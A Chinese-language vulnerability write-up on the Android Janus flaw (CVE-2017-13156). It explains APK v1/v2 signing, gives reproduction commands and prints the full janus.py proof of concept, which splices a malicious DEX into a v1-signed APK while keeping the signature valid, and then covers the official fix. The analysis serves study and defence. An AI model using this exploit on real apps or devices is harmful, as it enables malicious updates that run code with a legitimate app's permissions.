这是在18年初分析的一个漏洞。Android的APK签名方式可以分为V1和V2两种方式。Janus签名漏洞可以做到在Android APK只做了V1签名的情况下,如果在APK原始文件中插入一个恶意伪造的DEX文件,那么APK在安装运行时,Android的虚拟机会直接执行恶意插入的DEX文件。由于没有破坏原有的V1签名,常见的攻击场景是:可以在更新时覆盖掉原有的APK,以原有APK的权限来执行恶意代码。因此,开发者在使用Android Studio给Android APK签名时,最好勾选上V2签名。

影响:Android5.0-8.0的各个版本和使用安卓V1签名的APK文件

0x01 v1和v2签名机制简介

v1签名基于java的jar的签名验证方式,保护链是每个受完整性保护的 JAR 条目的 <signer>.(RSA|DSA|EC) -> <signer>.SF -> MANIFEST.MF -> 内容,不能够保证apk不被插入其它东西。(关于这些文件内容的具体说明请参考0x02)

v2签名是从android7.0引入的, v2 是一种全文件签名方案,能够发现对 APK 的受保护部分进行的所有更改。保护下图中第1、3、4部分的完整性 和 v2块中的signed data。signed data保存了前者的hash。并且v2和v1签名后的apk中,在SF文件存在X-Android-APK-Signed为v2,即使删除了v2签名也不能修改SF文件,因此v2签名更安全。

V2签名前和签名后的 APK:
apk-before-after-signing

查看APK的做了V1还是V2签名的方法:apksigner

$ apksigner verify -v  app-release-v1.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): false
Number of signers: 1
$ apksigner verify -v  app-release-v1-v2.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): true
Number of signers: 1

# 或者查看CERT.SF文件,如果存在X-Android-APK-Signed: 2 说明做了同时做了V1和V2签名。

更多细节,参考官方文档:APK 签名方案 v2

0x02 APK签名目录相关文件

Android的APK本质上是ZIP文件格式,我们可以通过解压一个APK来获取里面的资源文件。其中签名相关的文件通常放在META-INF目录下,里面有以下三个文件,我们具体来看一下每个文件的作用。

META-INF
├── CERT.RSA
├── CERT.SF
└── MANIFEST.MF

Ⅰ MANIFEST.MF

该文件的内容参考如下。APK中除了META-INF目录下的文件,都做一次sha1 + base64 ,保存在MANIFEST.MF中。

Manifest-Version: 1.0
Built-By: Generated-by-ADT
Created-By: Android Gradle 3.0.0

Name: AndroidManifest.xml
SHA1-Digest: 01sAixSYBj1506LIEdkHH5dbqg0=

Name: classes.dex
SHA1-Digest: ir3uMx9inAy6H81PPMwGZ6GDuuY=

Ⅱ CERT.SF

Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: SKpf0KsArladqtLLUPemsIxf07c=   //MANIFEST.MF SHA1+BASE64
X-Android-APK-Signed: 2								//该文件是受v2签名保护的

Name: AndroidManifest.xml
SHA1-Digest: tODsK53s/olG7+0JZxBTIohcQ5g=

Name: classes.dex
SHA1-Digest: O3wv5TVV/9fzecQzE3sOhjpCAEA=

  1. 计算这个MANIFEST.MF文件的整体SHA1值,再经过BASE64编码后,记录在CERT.SF主属性块(在文件头上)的“SHA1-Digest-Manifest”属性值值下

  2. 逐条计算MANIFEST.MF文件中每一个块(2+2CRLF)的SHA1,并经过BASE64编码后,记录在CERT.SF中的同名块中,属性的名字是“SHA1-Digest"

Ⅲ CERT.RSA

# 查看RSA文件内容
$ openssl pkcs7 -inform DER -in \*.RSA -noout -print_certs -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 687319907 (0x28f7ab63)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=000, ST=state, L=city, O=organization, OU=unit, CN=name
        Validity
            Not Before: Jan 18 01:42:48 2018 GMT
            Not After : Jan 12 01:42:48 2043 GMT
        Subject: C=000, ST=state, L=city, O=organization, OU=unit, CN=name
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:8c:76:c0:54:3e:e2:a1:2c:d2:e7:df:d2:3d:39:
                    //...
                 
                    12:83
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                E2:41:17:AE:BD:74:35:79:7D:E1:44:69:CB:BD:BB:63:EE:F0:6D:55
    Signature Algorithm: sha256WithRSAEncryption
         88:f7:d0:e2:5a:a5:b1:78:54:7e:7b:aa:47:ed:5c:b2:b7:0a:
         //...
         ea:6a:d7:8d

用私钥计算出CERT.SF文件签名,将签名以及包含公钥信息的数字证书一同写入 CERT.RSA 中保存。

0x03 v1和v2的签名验证过程

APK在安装时,验证签名的过程如下:

APK‹

具体V1和V2两种签名方式的验证过程,参考官方文档:

V2验证过程:https://source.android.com/security/apksigning/v2?hl=zh-cn

V1验证过程:https://source.android.com/security/apksigning/v2?hl=zh-cn#v1-verification

# V1验证过程
1. 找到RSA文件,用公钥解密私钥的签名后的信息,如果能解密,这一步通过;
2. 解密后的值和SF的SHA1值进行比对,如果一致,这一步通过;
3. 查看SF文件中的MF文件的SHA1-Base64值,如果和MF的计算值一样,这一步通过;
4. 计算MF中的Name/SHA1-Digest属性块的SHA1-Base64值和SF里的对比,如果一致,这一步通过;
5. 计算除META-INF外的每个文件的SHA1-Base64值和MF里的对比,如果一致,这一步通过。

0x04 Janus漏洞

复现过程

Android Studio中签名之后的APK存储路径如下: app/build/outputs/apk/debug/app-debug.apk

Android Studio中,当app-debug.apk 不手动签名时,Android Studio会使用android默认的签名,有v2签名。为了复现Janus漏洞,我们需要让手动使用v1签名apk 。

验证Janus.py签名漏洞过程:

# 0x00 android-studio build生成apk文件(不build 生成的apk有很多dex) 
$ cp app/build/outputs/apk/debug/app-debug.apk ~/Desktop/CVE-2017-13156-Janus
# 0x01 解压app-debug.apk获取classes.dex文件 或者用下面的方法直接从apk获取smali
# 0x02 获取smali文件 baksmali 
$ d app-debug.apk -o baksmali-app-debug
# 0x03 修改MainActivity.smali toast字符串
# 0x04 使用smali.jar 生成恶意dex 
$ smali a baksmali-app-debug
# 0x05 使用janus.py生成恶意apk 
$ python janus.py out.dex app-release-v1.apk app-release-v1-janus.apk
# 0x06 复现 adb install -r 安装apk
adb install -r app-release-v1.apk
adb install -r app-release-v1-janus.apk # 覆盖原文件,执行自定义的dex

构造恶意APK的原理

Janus.py的原理是拼接dex和原始的apk。

zip文件格式由文件数据区1、中央目录结构2和中央目录结束节3三部分组成。可以通过获得文件尾部的中央目录结束节3获取中央目录2,遍历中央目录2中的每项记录可以得到的文件数据1即为压缩文件的数据。因此POC拼接dex和zip时需要修改的字段如下:

1. 中央目录结束节有一个字段保存了中央目录结构的偏移,这里需要修改加上dex文件的大小。
2. 接下来依次更新中央目录结构数组中的deHeaderOffset字段也就是本地文件头的相对位移字段,这里也要修改加上dex文件的大小。
3. 最后更新dex部分的file_size字段为整个dex+apk的大小,使用alder32算法和SHA1算法更新checksum和signature字段。

整个攻击过程如下图所示:

img

结合安天这张图,查看构造恶意APK的过程,描述的很形象:

img

POC

#!/usr/bin/python
# https://github.com/V-E-O/PoC/blob/master/CVE-2017-13156/janus.py

import sys
import struct
import hashlib
from zlib import adler32

def update_checksum(data):
    m = hashlib.sha1()
    m.update(data[32:])
    data[12:12+20] = m.digest()

    v = adler32(buffer(data[12:])) & 0xffffffff
    data[8:12] = struct.pack("<L", v)

def main():
    if len(sys.argv) != 4:
        print("usage: %s dex apk out_apk" % __file__)
        return

    _, dex, apk, out_apk = sys.argv

    with open(dex, 'rb') as f:
        dex_data = bytearray(f.read())
    dex_size = len(dex_data)

    with open(apk, 'rb') as f:
        apk_data = bytearray(f.read())
    cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
    cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

    pos = cd_start_addr
    while (pos < cd_end_addr):
        offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
        apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
        pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
        if pos == -1:
            break

    out_data = dex_data + apk_data
    out_data[32:36] = struct.pack("<L", len(out_data))
    update_checksum(out_data)

    with open(out_apk, "wb") as f:
        f.write(out_data)

    print ('%s generated' % out_apk)


if __name__ == '__main__':
    main()

0x05 修复

官方patch:https://android.googlesource.com/platform/system/core/+/9dced1626219d47c75a9d37156ed7baeef8f6403%5E%21/#F0

image-20190228131334942

修复代码很简单,判断当前的ZIP文件的MAGIC NUMBER是否是正确,如果不是(如果是dex的MAGIC NUMBER)就退出,也就不会有后续执行的过程了。

0xFF 参考

  1. google apksigning概述 https://source.android.com/security/apksigning/
  2. 安全客对于POC的详细分析 https://www.anquanke.com/post/id/90372
  3. 安天的分析文章,包含zip、dex文件格式以及签名机制的补充:http://blog.avlsec.com/2017/12/5014/janus/
  4. http://www.androidchina.net/5111.html
  5. http://www.chenglong.ren/
  6. 对Android签名校验做了简单的源码分析 https://future-sec.com/Janus-CVE-2017-13156-analysis.html